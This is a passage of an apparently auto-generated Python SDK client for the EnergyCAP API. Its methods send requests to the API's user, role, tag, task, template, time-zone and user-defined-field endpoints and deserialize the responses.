header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UserResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_users.metadata = {'url': '/api/v3/user'}
def create_user(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a new user. Requires Manage permission for Users & Roles.
:param body: The object defining the properties for the new user
:type body: ~energycap.sdk.models.UserCreateRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UserResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UserResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_user.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'UserCreateRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UserResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_user.metadata = {'url': '/api/v3/user'}
def get_user(
self, user_id, custom_headers=None, raw=False, **operation_config):
"""Return a specific user and its properties. Requires View permission for
Users & Roles.
:param user_id: The ID of the user to return
:type user_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UserResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UserResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_user.metadata['url']
path_format_arguments = {
'userId': self._serialize.url("user_id", user_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UserResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_user.metadata = {'url': '/api/v3/user/{userId}'}
def edit_user(
self, user_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit an existing user. Requires Manage permission for Users & Roles.
Please note that password is optional; all other items are required.
MaxApprovalAmount may be null; if there is an existing value and null
is passed, the existing value will be overwritten.
:param user_id: The ID of the user to edit
:type user_id: int
:param body: The object defining the updated properties of the
existing user.
:type body: ~energycap.sdk.models.UserEditRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UserResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UserResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_user.metadata['url']
path_format_arguments = {
'userId': self._serialize.url("user_id", user_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'UserEditRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UserResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_user.metadata = {'url': '/api/v3/user/{userId}'}
def edit_system_users_role(
self, user_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit a system user's role.
:param user_id:
:type user_id: int
:param body:
:type body: ~energycap.sdk.models.UserRoleRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UserResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UserResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_system_users_role.metadata['url']
path_format_arguments = {
'userId': self._serialize.url("user_id", user_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'UserRoleRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UserResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_system_users_role.metadata = {'url': '/api/v202206/systemUser/{userId}/role'}
def get_tags(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Get a list of tags within a tag category. Report tags are the only
supported category at this time.
:param filter: Currently only supports the 'tagCategory' filter with a
value of 'report', may be expanded in the future
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.TagResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_tags.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[TagResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_tags.metadata = {'url': '/api/v3/tag'}
def get_tasks(
self, task_type_code=None, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves a list of tasks.
:param task_type_code: Task type code
:type task_type_code: str
:param filter: Filters to apply
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.TaskResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_tasks.metadata['url']
# Construct parameters
query_parameters = {}
if task_type_code is not None:
query_parameters['taskTypeCode'] = self._serialize.query("task_type_code", task_type_code, 'str')
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[TaskResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_tasks.metadata = {'url': '/api/v3/task'}
def get_task(
self, task_guid, custom_headers=None, raw=False, **operation_config):
"""Retrieves a task by its GUID. The output property could potentially
contain a large amount of data. If response time or size becomes an
issue, use field reduction to eliminate the output field.
:param task_guid: The GUID of the task
:type task_guid: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: TaskResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.TaskResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_task.metadata['url']
path_format_arguments = {
'taskGuid': self._serialize.url("task_guid", task_guid, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('TaskResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_task.metadata = {'url': '/api/v3/task/{taskGuid}'}
def get_task_output_file(
self, task_guid, custom_headers=None, raw=False, **operation_config):
"""Retrieves a task's error log as an EXCEL file by its GUID.
At this time error logs can be downloaded for "ReadingImport" task type
only.
:param task_guid: The GUID of the task
:type task_guid: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_task_output_file.metadata['url']
path_format_arguments = {
'taskGuid': self._serialize.url("task_guid", task_guid, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
get_task_output_file.metadata = {'url': '/api/v3/task/{taskGuid}/errorOutput'}
def edit_task(
self, task_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits the note/comment associated with a task.
:param task_id: The identifier for the task being edited
:type task_id: int
:param body: Data representing the note
:type body: ~energycap.sdk.models.TaskEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: TaskResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.TaskResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_task.metadata['url']
path_format_arguments = {
'taskId': self._serialize.url("task_id", task_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'TaskEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('TaskResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_task.metadata = {'url': '/api/v3/task/{taskId}'}
def get_templates(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves all templates.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.TemplateResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_templates.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[TemplateResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_templates.metadata = {'url': '/api/v3/template'}
def get_template(
self, template_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves one template.
:param template_id: The template identifier for the template being
retrieved
:type template_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: TemplateResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.TemplateResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_template.metadata['url']
path_format_arguments = {
'templateId': self._serialize.url("template_id", template_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('TemplateResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_template.metadata = {'url': '/api/v3/template/{templateId}'}
def get_template_versions(
self, template_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all template versions for a given template.
:param template_id: The template identifier for the template version
being retrieved
:type template_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.TemplateVersion] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_template_versions.metadata['url']
path_format_arguments = {
'templateId': self._serialize.url("template_id", template_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[TemplateVersion]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_template_versions.metadata = {'url': '/api/v3/template/{templateId}/version'}
def get_template_version(
self, template_id, version_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves one template version for a given template.
:param template_id: The template identifier for the template version
being retrieved
:type template_id: int
:param version_id: The identifier for the template version being
retrieved
:type version_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: TemplateVersion or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.TemplateVersion or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_template_version.metadata['url']
path_format_arguments = {
'templateId': self._serialize.url("template_id", template_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('TemplateVersion', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_template_version.metadata = {'url': '/api/v3/template/{templateId}/version/{versionId}'}
def create_template_from_bill_method(
self, bill_id, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates a new Template from an existing Bill's line items belonging to
the provided Meter.
:param bill_id: Id of Bill from which to create the Template
:type bill_id: int
:param meter_id: Id of Meter whose bodylines from source bill will be
used to create the Template
:type meter_id: int
:param body: Additional information about new Template
:type body: ~energycap.sdk.models.CreateTemplateFromBill
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: TemplateResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.TemplateResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_template_from_bill_method.metadata['url']
path_format_arguments = {
'billId': self._serialize.url("bill_id", bill_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'CreateTemplateFromBill')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('TemplateResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_template_from_bill_method.metadata = {'url': '/api/v3/bill/{billId}/meter/{meterId}/template'}
def update_account_meters_latest_template(
self, template_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Update current template for all passed in accountMeterIds
If the accountMeter is an account only record the template must be for
the 'Money' commodity or an error will be thrown
If the accountMeter has no template assigned one will be created
If the accountMeter's latest template assignment is end dated, a new
assignment will be created starting from the latest end date
All must be successfully updated otherwise none are updated and an
error is returned.
:param template_id: The template to apply to the provided
accountMeterIds
:type template_id: int
:param body: List of accountMeterIds whose template will be updated
:type body: list[int]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_account_meters_latest_template.metadata['url']
path_format_arguments = {
'templateId': self._serialize.url("template_id", template_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[int]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
update_account_meters_latest_template.metadata = {'url': '/api/v3/template/{templateId}/accountMeter'}
def create_account_template_from_bill(
self, bill_id, account_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates a new Template from an existing Bill's cost-only line items
belonging to the provided Account (lines which came from a vendor
template will be dropped).
:param bill_id: Id of Bill from which to create the Template
:type bill_id: int
:param account_id: Id of Account whose bodylines from source bill will
be used to create the Template
:type account_id: int
:param body: Additional information about new Template
:type body: ~energycap.sdk.models.CreateTemplateFromBill
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: TemplateResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.TemplateResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_account_template_from_bill.metadata['url']
path_format_arguments = {
'billId': self._serialize.url("bill_id", bill_id, 'int'),
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'CreateTemplateFromBill')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('TemplateResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_account_template_from_bill.metadata = {'url': '/api/v202206/bill/{billId}/account/{accountId}/template'}
def get_time_zones(
self, custom_headers=None, raw=False, **operation_config):
"""Retrieves the list of Time Zones.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.TimeZoneResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_time_zones.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[TimeZoneResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_time_zones.metadata = {'url': '/api/v3/timezone'}
def get_ud_fs(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves all User defined fields/custom fields.
The array of UDFs can be filtered by UDF type.
Possible values for this filter include: "Account", "Meter", "Place",
"Vendor", "ChannelVersion", "Rate", and "Bill"
See the filter property for more details.
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UDFResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_ud_fs.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UDFResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_ud_fs.metadata = {'url': '/api/v3/udf'}
def create_udf(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates a user defined field / custom field.
:param body: Data representing the user defined field / custom field
being created
:type body: ~energycap.sdk.models.UDFCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UDFResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UDFResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_udf.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'UDFCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UDFResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_udf.metadata = {'url': '/api/v3/udf'}
def get_udf(
self, udf_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves one user defined field / custom field.
:param udf_id: The user defined field / custom field identifier
:type udf_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UDFResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UDFResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_udf.metadata['url']
path_format_arguments = {
'udfId': self._serialize.url("udf_id", udf_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UDFResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_udf.metadata = {'url': '/api/v3/udf/{udfId}'}
def edit_udf(
self, udf_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits a user defined field / custom field.
:param udf_id:
:type udf_id: int
:param body: Data representing the UDF being edited
:type body: ~energycap.sdk.models.UDFEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UDFResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UDFResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_udf.metadata['url']
path_format_arguments = {
'udfId': self._serialize.url("udf_id", udf_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'UDFEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
